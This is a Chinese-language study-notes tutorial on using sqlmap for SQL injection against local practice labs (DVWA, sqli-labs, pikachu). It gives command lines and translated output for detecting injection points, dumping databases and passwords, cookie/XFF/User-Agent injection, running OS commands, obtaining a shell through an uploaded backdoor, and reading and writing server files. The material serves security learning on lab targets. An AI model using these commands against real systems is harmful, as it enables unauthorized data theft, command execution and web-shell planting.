(本文仅为平时学习记录,若有错误请大佬指出,如果本文能帮到你那我也是很开心啦)

一、介绍

1.SQL注入工具:明小子、啊D、罗卜头、穿山甲、SQLMAP等等

2.SQLMAP:使用python开发,开源自动化注入利用工具,支持12种数据库 ,在/plugins/dbms中可以看到支持的数据库种类,在所有注入利用工具中它是最好用的!!!

3.支持的注入类型:bool、time、报错、union、堆查询、内联

4.功能:

可以获取用户名、密码、权限、角色、数据库(表、字段、内容)

可以爆破识别密文数据

getshell(反弹shell)

命令执行

脱库或删库

二、SQLMAP的目录介绍:

目录

介绍

doc

介绍文档

extra

sqlmap额外的功能,运行cmd、执行命令

lib

sqlmap 的核心功能代码

plugins

包含12种数据库的识别程序

data

存放一些攻击过程种使用的工具或者命令

/data/procs

包含了mssql、mysql、oracle、postgresql这四种数据库的触发程序

/data/shell

远程命令、后门

/data/txt

表名、列名、UA字典

/data/udf

存放攻击载荷(payload)

/data/XML

存放检测脚本(payload)

tamper

包含各种绕过WAF的处理脚本

thirdparty

包含第三方插件,如颜色、优化等等

waf

识别WAF的脚本

三、SQLMAP的工作流程

1.初始化

1 salmap -v 查看版本2 salmap --update 更新

2.开始检测

检测之前是否注入过(会把当前检测URL 默认存放在用户家目录中.sqlmap下的output),使用--output-dir可指定存放的目录

解析URL,判断URL是否可访问

检测是否有WAF

sqlmap -u "目标url" --identify-waf

sqlmap-u "目标url" --check-waf

执行用户输入的参数

1 -u 指定URL2 -p 指定参数3 -v 指定显示级别4 --dbs 目标服务器中的数据库5 --current-db 当前数据库6 --tables 目标数据库有什么表7 --columns 目标表中有什么列8 --dump 获取数据9 --batch 跳过问询(yes)之间执行,批处理,在检测过程中会问用户一些问题,使用这个参数统统使用默认值10 --dbms 指定数据库类型11 --current-user 查看当前用户12 --users 查看所有用户13 --passwords 数据库密码14 --hostname 系统名称15 --banner 数据库信息16 --roles 数据库用户角色17 等等

四、步骤详解

GET型注入的SQLMAP利用方法:

1.判断是否有注入点

sqlmap -u "目标url"

当看到探测的结果中有没有环境参数(系统类型和数据库类型),则表明有注入

2.查看所有数据库

1 sqlmap -u "目标_url" --dbs --dbms mysql2 --dbms=DBMS 指定目标数据库类型

3.获取当前数据库

sqlmap -u "目标_url" --current-db --dbms mysql

4.获取当前数据库下表

1 sqlmap -u "目标_url" -D 库名 --dbms mysql --tables --batch -v2 -D DB 指定从某个数据库查询数据3 -v 显示信息的级别,一共有六级:4 0:只显示python 错误和一些严重信息5 1:显示基本信息(默认)6 2:显示debug信息7 3:显示注入过程的payload8 4:显示http请求包9 5:显示http响应头10 6:显示http相应页面

5.获取当前数据库中指定表下的字段

1 sqlmap -u "目标url" -D 库名 -T 表名 --columns2 -T TBL 指定从某个表查询数据

6.获取指定字段对应的数据内容

1 sqlmap -u "目标url" -D 库名 -T 表名 -C 字段名1,字段名2,等等 --dump2 -C COL 指定从某个列查询数据3 --dump 查询指定范围的全部数据4 (对加密的密码进行彩虹表攻击)

五、SQLMAP工具测试

GET型 ,测试使用DVWA中的SQL Injection模块(Low级别)

1.检测是否有注入点

sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"

翻译(注入过程中询问的内容):

sqlmap got a 302 redirect to 'http://127.0.0.1:80/dvwa/login.php'

sqlmap得到302重定向到“http://127.0.0.1:80/dvwa/login.php”

you have not declared cookie(s), while server wants to set its own ('PHPSESSID=ua503vlvaom...715dscplg7;security=impossible;security=impossible')

您尚未声明cookie,而服务器希望设置自己的cookie('phpsessid=ua503vlvaom…715dscplg7;security=impossible;security=impossible')

由上图可知,结果是跳转到登录页面,是需要带cookie的,查到session为nh9elbltn3coe0kgvdnq1l6755(在地址栏种输入javascript:alert(document.cookie)查询cookie)

sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=nh9elbltn3coe0kgvdnq1l6755" --batch

POST型注入的SQLMAP利用方法(这种方式GET型数据也可利用):

1.拦截数据包

2.将拦截到的数据包保存在post.txt文件里

右键空白处,选择Cope to file

3.查看post.txt的内容

4.使用SQLMAP进行检测

1 python sqlmap.py -r C:\Users\admin\Desktop\post.txt -p "uname" --batch2 -r 读取指定的文件3 -p 告诉SQLMAP测试哪个参数

六、cookie 注入

1.介绍:数据经过cookie发送给服务器,cookie可以传输参数,并且有注入点

2.cookie型注入利用方法(测试使用sqli-labs第20关):

抓取的数据包来源于下面的界面

将抓取到的数据包发送到Repeater模块中,Go一下,查看回显

检测注入点

将此数据包保存在post_cookie.txt文件里(这个数据类型是GET型,当时写错了)

使用SQLMAP进行检测

python sqlmap.py -r C:\Users\admin\Desktop\post_cookie.txt --cookie "uname=12" --level 2

--level=LEVEL 执行测试的等级(1-5,默认是1,lv2:cookie; lv3:user-agent,refere; lv5:host 在sqlmap/xml/payloads文件内可以看见各个level发送的payload)

或sqlmap.py-r C:\Users\admin\Desktop\post_cookie.txt --level 2

从回显中可以看到,SQLMAP自动将获取到的数据记录到了一个目录下,进入到该目录下的127.0.0.1中,该目录下的log记录的检查出的结果

七、XFF注入

注入基本过程(方法与cookie注入类似)

1.拦包

2.使用SQLMAP检查注入点

GET型数据:

sqlmap -u “目标URL” -p “x-forwarded-for” -level 3

POST型数据:

sqlmap -r post_xff.txt --level 3

八、UA注入

测试使用sqli-labs第18关

注入基本过程(方法与cookie注入类似)

1.拦包

2.使用SQLMAP检查注入点

GET型数据:

sqlmap -u “目标URL” -p “user-agent” -level 3

POST型数据:

1 sqlmap -r post_ua.txt --level 3 --dbms mysql --batch2   --dbms 指定目标数据库类型3 sqlmap -r post_ua.txt --level 3 --current-user4   --current-user 查看当前用户

九、SQLMAP注入点执行系统命令或交互式shell

1.条件:

数据库有读写文件的权限

需要知道WEB站点的路径(可使用select @@datadir)

2.使用SQLMAP执行系统命令

1 sqlmap.py -u “目标URL” --os-cmd=ipconfig2 --os-cmd=OSCMD 执行一句系统命令3 sqlmap -r post_ua.txt --level 3 --os-cmd=ipconfig 执行系统命令ipconfig4 sqlmap -r post_ua.txt --level 3 --os-shell 获取系统的shell5 sqlmap -r post_ua.txt --level 3 --is-dba 判断当前用户是否为管理员

十、延时注入

1 sqlmap.py -u "目标url" --delay 2

2 --delay 2 延时2S注入

十一、执行数据库命令

命令:

1 --sql-query=QUERY 执行一个sql语句2 --sql-shell 创建一个sql的shell(获取一个交互式的数据库终端)3 --sql-file=SQLFILE 执行一个给定文件中的sql语句

注入利用:

测试使用pikachu里的sqli中字符型注入(需要在Github中查找资源并搭建)

1.浏览网站pikachu,http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=查询

2.使用SQLMAP检测注入点

sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=æ¥è¯¢" --batch

3.根据回显存在注入点,使用SQLMAP执行数据库命令

sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=æ¥è¯¢" -p name --dbms mysql --os-cmd=whoami

在下图红框内可以看到系统命令被正常执行

翻译(注入过程中询问的内容):

Web服务器支持哪种Web应用程序语言?

[1]asp

[2]ASPX

[3]jsp

[4]php(默认)

>4

是否希望sqlmap进一步尝试触发完整路径泄漏?[是/否]是

[21:34:02][警告]无法自动检索Web服务器文档根目录

要将什么用于可写目录?

[1]公共位置(C:/xampp/htdocs/,C:/wamp/www/,C:/inetpub/wwwroot/')(默认)

[2]自定义位置

[3]自定义目录列表文件

[4]蛮力搜索

>2

是否要检索命令标准输出?[是/否/否]是

命令标准输出:“desktop-18q770s\admin”

请提供一个逗号分隔的绝对目录路径列表:f:\phpstudy_64\phpstudy_Pro\www//路径需要自己输入

4.获取一个交互式的数据库终端

sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=æ¥è¯¢" -p name --dbms mysql --os-shell

在注入过程中会自动生成后门文件

翻译:

[21:40:33][info]文件暂存器已成功上载到“f:/phpstudy_64/phpstudy_Pro/www/”-http://127.0.0.1:80/tmpupjuy.php

[21:40:33][info]后门已成功上载到“f:/phpstudy_64/phpstudy_Pro/www/”-http://127.0.0.1:80/tmpbaqhn.php

在浏览器中两个文件访问查看效果

http://127.0.0.1/tmpupjuy.php 辅助工具,用来上传木马

http://127.0.0.1/tmpbaqhn.php木马

其内容为:

浏览http://127.0.0.1/tmpbaqhn.php?cmd=whoami,可以看到其功能

十二、SQLMAP 直连mysql数据库

1 python sqlmap.py -d "mysql://root:root@目标IP:3306/mysql" -f --banner --dbs --users2 -f, --fingerprint 指纹信息,返回DBMS,操作系统,架构,补丁等信息3 --hostname 获取系统信息4 --banner 获取数据库信息5 --roles 获取数据库用户角色

十三、sqlmap注入利用Access

1.Access数据库:没有库的概念,打开数据库文件看到只有表和字段以及内容

2.Access注入过程(注意其特性,只有表和表下的字段内容):

先探测注入点

获取数据库表

sqlmap.py -u "目标url" --tables 获取所有的数据表

获取字段

sqlmap.py -u "目标url" -T 表名 --columns 获取字段

获取字段内容

sqlmap.py -u "目标url" -T 表名 -C 字段名 --dump 获取字段内容

十四、SQLMAP结合BP日志进行被动式注入发现

测试在pikachu里的sqli中数字型注入

1.开启BP2.1的日志记录功能,并将日志内容保存到桌面log.txt中

勾选后会弹出下面的窗口,我选择的是已经建好的文件log.txt,弹出警告,选择Yes即可

2.抓包

3.在浏览器中多进行几次提交,需要提前关闭BP中的Intercept is on,然后打开log.txt,浏览器提交的数据全部进入到了log.txt中

4.使用SQLMAP进行检测

1 sqlmap.py -l C:\Users\admin\Desktop\log.txt --batch2 -l 后接一个log文件,可以是burp等的代理的log文件,之后sqlmap会扫描log中的所有记录

翻译(最后一句):

您可以在csv文件“c:\ users\admin\appdata\local\sqlmap\output\results-10302019_1119pm.csv”中找到以多目标模式扫描的结果。

5.打开results-10302019_1119pm.csv文件,可知该URL中存在的注入类型

(Parameter:参数  Technique:技术)

SQLMAP指定测试注入的技术:

1 python sqlmap.py -u “目标URL” -dbms mysql --technique=T2 --technique=TECH 指定所使用的技术(B:布尔盲注;E:报错注入;U:联合查询注入;S:文件系统,操作系统,注册表相关注入;T:时间盲注; 默认全部使用)3 B: Boolean-based blind SQL injection(布尔型注入)4 E: Error-based SQL injection(报错型注入)5 U:UNION query SQL injection(可联合查询注入)6 S:Stacked queries SQL injection(可多语句查询注入)7 T: Time-based blind SQL injection(基于时间延迟注入)8 Q: inline_query SQL injection(内联注入)

十五、SQLMAP读写文件

命令:

1 --file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)2 --file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)3 --file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径

测试使用pikachu里的sqli中字符型注入

1.使用SQLMAP读文件

sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=æ¥è¯¢" -p name --dbms mysql --file-read="F:\phpStudy_64\phpstudy_pro\WWW\PDO_kuanjiezi.php"

翻译:

正在获取文件:“f:/phpstudy_64/phpstudy_Pro/www/pdo_kuanjiezi.php”

是否确认已从后端DBMS文件系统成功下载远程文件“f:/phpstudy_64/phpstudy_Pro/www/pdo_kuanjiezi.php”?[是/否]是

[23:57:05][info]本地文件'c:\ users\admin\appdata\local\sqlmap\output\127.0.0.1\files\f_u phpstudy_u phpstudy_u pro_www_u kuanjiezi.php'和远程文件'f:/phpstudy_u 64/phpstudy_u pro/www/pdo_u kuanjiezi.php'具有相同的大小(988b)

文件保存到[1]:

C:\Users\admin\AppData\Local\sqlmap\output\127.0.0.1\files

[23:57:05][info]获取的数据记录到文本文件中,位于“C:\users\admin\appdata\local\sqlmap\output\127.0.0.1”下

进入C:\users\admin\appdata\local\sqlmap\output\127.0.0.1目录下,里面有读取到的文件的记录,使用SQLMAP读取文件成功

2.使用SQLMAP写文件

新建log.txt文件,并写入以下内容

使用SQLMAP写文件

sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=æ¥è¯¢" -p name --dbms mysql --file-dest="F:\phpStudy_64\phpstudy_pro\WWW\loglog.php(目标服务器中的文件,绝对路径)" --file-write="C:\Users\admin\Desktop\log.txt(攻击者电脑中的文件路径)"

翻译:

是否要确认本地文件“c:/users/admin/desktop/log.txt”已成功写入后端DBMS文件系统(“f:/phpstudy_64/phpstudy_Pro/www/loglog.php”)。[是/否]是

[00:08:58][info]远程文件“f:/phpstudy_64/phpstudy_Pro/www/loglog.php”比本地文件“c:/users/admin/desktop/log.txt”(18b)大(19b)

[00:08:58][info]获取的数据记录到文本文件中,位于“C:\users\admin\appdata\local\sqlmap\output\127.0.0.1”下

使用WinHex打开F:/phpstudy_64/phpstudy_Pro/www/loglog.php

使用浏览器进行访问,可以看到使用SQLMAP写入文件成功

Logo

DAMO开发者矩阵,由阿里巴巴达摩院和中国互联网协会联合发起,致力于探讨最前沿的技术趋势与应用成果,搭建高质量的交流与分享平台,推动技术创新与产业应用链接,围绕“人工智能与新型计算”构建开放共享的开发者生态。

更多推荐